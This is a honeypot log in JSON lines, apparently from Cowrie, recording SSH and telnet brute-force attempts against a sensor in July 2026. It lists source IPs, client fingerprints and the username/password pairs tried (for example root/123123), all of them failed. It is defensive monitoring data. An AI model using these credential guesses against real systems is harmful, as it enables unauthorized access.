{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:05:db:d2:c8:24:87:fa:04:9d:d9:9a:d2:dc:3a:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpzr4c09TCU0UqbHdyZI03bma9tw92WFo2GpacMwuC1Na2/mq/MiwtRjbX46yriHNyqA/e9dNHzm166i6L4HLQoJ8xEyNoy3hJvs884pPXZSc/0zp8dZMNzidlgEe5FCN+Y54qGZ14fwIDl2txi/RT/3o4rf5e9DgYpzLEuAKr7aGy79EjLsNo5DV1Y7rCdKUxSzfNX08Kx9RXQIwyqJuWIvLjqRlVoB7buN4For0yubu/Ftd7PmzoCUuGyfppt73gIkxAFmS49rCvWindLYFHu4W3sHRmWQP+rpETGvDbu/mk/zNVZYkr2DL/5H1gIKSoZpIDBt9rZtrDZweU6m4x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:05:db:d2:c8:24:87:fa:04:9d:d9:9a:d2:dc:3a:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:53.254729Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:05:db:d2:c8:24:87:fa:04:9d:d9:9a:d2:dc:3a:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpzr4c09TCU0UqbHdyZI03bma9tw92WFo2GpacMwuC1Na2/mq/MiwtRjbX46yriHNyqA/e9dNHzm166i6L4HLQoJ8xEyNoy3hJvs884pPXZSc/0zp8dZMNzidlgEe5FCN+Y54qGZ14fwIDl2txi/RT/3o4rf5e9DgYpzLEuAKr7aGy79EjLsNo5DV1Y7rCdKUxSzfNX08Kx9RXQIwyqJuWIvLjqRlVoB7buN4For0yubu/Ftd7PmzoCUuGyfppt73gIkxAFmS49rCvWindLYFHu4W3sHRmWQP+rpETGvDbu/mk/zNVZYkr2DL/5H1gIKSoZpIDBt9rZtrDZweU6m4x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:53.258124Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:40:53.467297Z","src_ip":"121.78.125.123","session":"4aecfd278816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":35542,"dst_ip":"10.17.0.5","dst_port":22,"session":"b62367477113","protocol":"ssh","message":"New connection: 103.172.78.219:35542 (10.17.0.5:22) [session: b62367477113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:24.534510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:24.538922Z","src_ip":"103.172.78.219","session":"b62367477113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:24.794085Z","src_ip":"103.172.78.219","session":"b62367477113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"62336233","message":"login attempt [root/62336233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:25.561555Z","src_ip":"103.172.78.219","session":"b62367477113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:26.819857Z","src_ip":"103.172.78.219","session":"b62367477113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44608,"dst_ip":"10.17.0.5","dst_port":23,"session":"2adc43d1de75","protocol":"telnet","message":"New connection: 94.23.66.112:44608 (10.17.0.5:23) [session: 2adc43d1de75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:39.028130Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":55254,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e0a18a18015","protocol":"ssh","message":"New connection: 80.94.92.234:55254 (10.17.0.5:22) [session: 6e0a18a18015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:46.872889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:47.282241Z","src_ip":"80.94.92.234","session":"6e0a18a18015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:47.285342Z","src_ip":"80.94.92.234","session":"6e0a18a18015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.84582781791687,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:48.602241Z","src_ip":"137.184.5.188","session":"9a0cc0883edf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51238,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4a465b6be5b","protocol":"ssh","message":"New connection: 51.250.105.222:51238 (159.203.135.109:22) [session: a4a465b6be5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:49.076461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:49.080358Z","src_ip":"51.250.105.222","session":"a4a465b6be5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:49.202514Z","src_ip":"51.250.105.222","session":"a4a465b6be5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:49.571197Z","src_ip":"51.250.105.222","session":"a4a465b6be5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:49.709400Z","src_ip":"80.94.92.234","session":"6e0a18a18015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:50.697233Z","src_ip":"51.250.105.222","session":"a4a465b6be5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:51.621732Z","src_ip":"80.94.92.234","session":"6e0a18a18015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":44900,"dst_ip":"159.203.135.109","dst_port":22,"session":"4be719d0790e","protocol":"ssh","message":"New connection: 139.59.4.137:44900 (159.203.135.109:22) [session: 4be719d0790e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:53.740209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:53.744771Z","src_ip":"139.59.4.137","session":"4be719d0790e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:53.955300Z","src_ip":"139.59.4.137","session":"4be719d0790e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sunny1","message":"login attempt [root/sunny1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:54.827963Z","src_ip":"139.59.4.137","session":"4be719d0790e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:56.041754Z","src_ip":"139.59.4.137","session":"4be719d0790e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.43435788154602,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:41:56.462342Z","src_ip":"94.23.66.112","session":"2adc43d1de75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":59228,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6ada9ae487a","protocol":"ssh","message":"New connection: 162.144.58.21:59228 (10.17.0.5:22) [session: b6ada9ae487a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:03.978588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:03.982978Z","src_ip":"162.144.58.21","session":"b6ada9ae487a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:04.068699Z","src_ip":"162.144.58.21","session":"b6ada9ae487a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C0mp0und@P@ss!","message":"login attempt [root/C0mp0und@P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:04.347232Z","src_ip":"162.144.58.21","session":"b6ada9ae487a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:14.329729Z","src_ip":"162.144.58.21","session":"b6ada9ae487a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":33308,"dst_ip":"10.17.0.5","dst_port":22,"session":"35bb5fb138a9","protocol":"ssh","message":"New connection: 208.109.189.255:33308 (10.17.0.5:22) [session: 35bb5fb138a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:26.049387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:26.052800Z","src_ip":"208.109.189.255","session":"35bb5fb138a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:26.118603Z","src_ip":"208.109.189.255","session":"35bb5fb138a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"waves","password":"waves123","message":"login attempt [waves/waves123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:26.314491Z","src_ip":"208.109.189.255","session":"35bb5fb138a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33880,"dst_ip":"159.203.135.109","dst_port":22,"session":"834e0963c148","protocol":"ssh","message":"New connection: 103.27.238.114:33880 (159.203.135.109:22) [session: 834e0963c148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:26.951285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:26.955092Z","src_ip":"103.27.238.114","session":"834e0963c148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:27.230192Z","src_ip":"103.27.238.114","session":"834e0963c148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:27.381549Z","src_ip":"208.109.189.255","session":"35bb5fb138a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17711771s","message":"login attempt [root/17711771s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:28.050705Z","src_ip":"103.27.238.114","session":"834e0963c148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:29.326071Z","src_ip":"103.27.238.114","session":"834e0963c148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.165.242.225","src_port":33972,"dst_ip":"10.17.0.5","dst_port":22,"session":"808f1a68fdec","protocol":"ssh","message":"New connection: 185.165.242.225:33972 (10.17.0.5:22) [session: 808f1a68fdec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.195570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:42:46.198456Z","src_ip":"185.165.242.225","session":"808f1a68fdec","protocol":"ssh"}
